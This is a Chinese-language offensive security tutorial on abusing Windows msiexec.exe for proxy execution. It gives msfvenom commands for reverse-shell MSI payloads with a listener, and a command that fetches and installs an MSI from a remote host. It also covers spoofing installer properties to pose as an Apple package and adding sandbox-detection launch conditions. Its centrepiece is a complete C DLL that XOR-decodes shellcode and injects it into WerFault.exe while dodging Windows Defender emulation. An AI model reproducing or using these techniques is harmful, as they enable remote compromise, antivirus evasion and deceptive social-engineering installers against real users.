0x01 简介
Msiexec是WIndows上从命令行执行Windows Installer上安装、修改和执行操作的方法。Msiexec存在一个Windows Installer服务以便在需要的时候进行调用,服务中将Msiexec描述为添加、修改和删除作为 Windows Installer 程序包(.msi、.msp)提供的应用程序。二进制文件为msiexec.exe,默认存在于C:\Windows\System32\
目录下且默认存在于系统环境变量中,可通过命令行调用。
msiexec.exe属于系统文件,并且可用于加载恶意msi文件获得代码执行能力,所以经常也被用来进行基于系统文件白名单的代理执行。
0x02 MSI文件构建和执行
在利用msiexec进行代理执行时,需要先构建MSI文件,在没有其他需求的情况下,可以使用metasploit快速生成msi安装包:
#生成msi类型的载荷
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o rev_x64_8888.msi
#生成msi-nouac类型的载荷
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi-nouac -o rev_x64_8888msi-nouac.msi
#开启监听
handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888
生成后安装方式除了在可视化界面安装,还可以通过msiexec命令行执行本地或网络上的msi安装包获得代码执行:
msiexec /q /i MsiexecSetup.msi
msiexec /q /i http://192.168.11.1/MsiexecSetup.msi
这里是使用msiexec命令加载msi安装包执行的简单用例,这在一些存在命令执行漏洞的位置可以发挥一定的效果。
0x2-1 Visual Studio的MSI扩展
上文介绍了使用Metasploit简单生成msi安装包的方式,实际利用中需要定制化载荷执行,可以通过Visual Studio扩展Microsoft Visual Studio Installer Projects来生成MSI安装包(或InstallShield、Advanced Installer等工具)。通过该扩展可以自定义设置要执行的二进制或脚本文件,这些二进制和脚本文件都可以进行定制开发嵌入到MSI安装包中,扩展安装方式比较简单,操作如下:
在扩展里联机搜索: Microsoft Visual Studio Installer Projects
安装完成后重启VS,新建项目时搜索 Setup Project 选择项目模板:
在MSI安装包项目中,可以设置安装程序在目标主机上执行的文件、注册表、快捷方式等操作:
其中主要就是利用文件系统和自定义操作选项,可以设置将在目标主机上释放的文件和执行的命令:
在文件系统选项中选择要添加的文件:
自定义选项中可以设置在安装、修复、回滚、卸载阶段执行的命令:
0x2-1-1 MSI安装包属性设置
在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗:
伪造一个Apple的安装包:
一些开发者属性信息会自动用于应用目录的设置:
在属性中有一个 installAllUsers 的属性,如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装:
在属性中还可以设置图标(一个免费的图标获取网站:https://icons8.com/app/windows ):
图标设置后会在控制面板程序中看到:
其他msi安装包中的图标可以通过 Orca 工具(SDK中的安装包名为Orca-x86_en-us.msi)中的Tables-Export Tables
功能提取文件:
更多的属性可参考微软文档:property-reference ,msi安装包的属性在下文设置执行条件时还会使用。
0x2-1-2 MSI安装包启动条件设置
在项目view菜单中可以设置启动条件,用于检查当前执行环境是否可以继续安装:
这个配置中主要使用的是Launch Conditions
来添加执行条件,根据上文参考链接中的属性,可以设置硬件属性中的内存、分辨率来检测虚拟机:
执行效果:
对于一些其他商业软件可进行的复杂条件设置,可以通过Orca查看然后学走:
一些常见的条件设置可以参考InstallShield:
并且在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log
方式输出日志文件,通过对比日志文件进行更详细的条件设置:
并且可以注意到内存并不是标准的32GB(32768MB)数值,而是会略微较小(32588MB),这是一个需要注意的点。如果在测试过程中安装失败,也可以在日志中看到错误代码。错误代码的详细信息可以在官方文档中查询到:windows-installer-error-messages
0x2-2 MSI中执行载荷
MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件,然后在自定义操作中设置在几个阶段要执行的文件。文件释放位置可以使用系统文件夹属性变量:
在文件系统中可以新增自定义文件夹来使用不同的文件夹属性值,释放文件到Temp目录一定程度上可以规避安全软件:
添加完成后,在自定义操作中设置在安装阶段执行文件,选择之前添加的文件位置:
设置文件的执行动作时,可以在属性栏中设置EXE文件启动参数、DLL文件入口函数:
DLL文件的导出函数需要使用下列方式声明:
extern "C" __declspec(dllexport) UINT __stdcall Install(MSIHANDLE hInstall)
{
RunYourSteps();
return ERROR_SUCCESS;
}
另外需要注意的是可执行文件和msi安装包的PlatForm需要正确设置,在msi项目属性中(dll是64位的,msi对应属性也设置为64位):
自定义操作中针对文件设置:
通过在msi安装程序中利用dll文件执行(xor还原stage payload后创建进程注入)绕过WinDefender静态扫描和动态查杀:
0x02 MSIEXEC加载DLL执行
msiexec程序也可以加载DLL执行,前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServer或DllUnRegisterServer导出函数:
命令行执行时需要注意文件路径:
# DllUnRegisterServer
msiexec /z C:\windows\tmp\run.dll
# DllRegisterServer
msiexec /y ..\..\..\windows\tmp\run.dll
# 执行run.dll文件 DllRegisterServer
msiexec /y ..\..\..\windows\tmp\run
# 执行 .dll 文件 DllRegisterServer
msiexec /y .\
测试时发现在测试环境中/z
参数不能触发DllUnRegisterServer的执行,这可以直接在dllmain函数中进行想要的操作:
这就可以自定义DLL后通过msiexec加载了。一般WIndows会自带WinDefender安全软件,我们在Dllmain中简单判断下当前的物理内存大小,可以绕过它的模拟执行检测,简单Demo如下:
#include "pch.h"
#include <iostream>
#include <tchar.h>
#include <stdio.h>
#include <windows.h>
#include <msi.h>
#include <msiquery.h>
#include <sddl.h>
#pragma comment(lib, "Msi.lib")
HMODULE g_hModule;
BOOL Inject_Shellcode();
BOOL SpawnProcess(char* runcmdline);
BOOL PhysicalMemory() {
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
DWORD PhysicalMem = 0;
BOOL rt = FALSE;
PhysicalMem = statex.ullTotalPhys / 1024 / 1024;
if (PhysicalMem > 2022) {
rt = TRUE;
}
return rt;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
g_hModule = hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE Mutexlock = CreateMutexA(NULL, FALSE, "CreateMutexA-yanghaoi");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
if (Mutexlock != NULL) CloseHandle(Mutexlock);
Mutexlock = NULL;
}
else {
if (PhysicalMemory()) {
// MessageBox(NULL, "Hello Dllmain!", "MessageBox", MB_OK);
Inject_Shellcode();
}
return ERROR_SUCCESS;
}
return 0;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOL Inject_Shellcode()
{
unsigned char hexData[927] = {
0xAE, 0x1A, 0x00 , // shellcode
};
DWORD size = sizeof(hexData);
unsigned char ar[sizeof(hexData)];
for (int i = 0; i <= size - 1; i++)
{
ar[i] = hexData[i] ^ 0x52;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
BOOL bRet = FALSE;
DWORD dwOldProtect;
lpMalwareBaseAddr = ar;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
char* Process = (char*)"C:\\Windows\\System32\\WerFault.exe";
if (CreateProcessA(NULL, Process, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0) { return bRet; }
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL) {
printf("[-] VirtualAllocEx error:%d\n", GetLastError());
if (!TerminateProcess(pi.hProcess, 0)) {
printf("[-] TerminateProcess error:%d\n", GetLastError());
}
return bRet;
}
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, size, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, 2000);
if (NULL != pi.hProcess)
{
CloseHandle(pi.hProcess);
}
if (NULL != pi.hThread)
{
CloseHandle(pi.hThread);
}
return bRet;
}
BOOL SpawnProcess(char* runcmdline) {
printf("[*] runcmdline:%s\n", runcmdline);
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.wShowWindow = SW_HIDE;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(NULL, runcmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { return FALSE; }
printf("[+] ProcessId:%d \n", pi.dwProcessId);
printf("[+] ThreadId:%d \n", pi.dwThreadId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
编译为x64的dll后,使用msiexec /z .\Msiexec
在开启WinDefender的环境下执行:
0x04 总结
文章对msi安装包的制作、载荷执行、命令执行方式进行了整理和实验,并对一些容易出现问题的地方进行了说明或提出解决方案。文章实现了在msi安装包中执行自定义程序,实现了msiexec命令执行dll和安全软件检测绕过。可以进行社工msi安装包制作、白名单命令代理执行等。
0x05 参考链接
Signed Binary Proxy Execution
msiexec-commands
msi-property
msiexec-hacker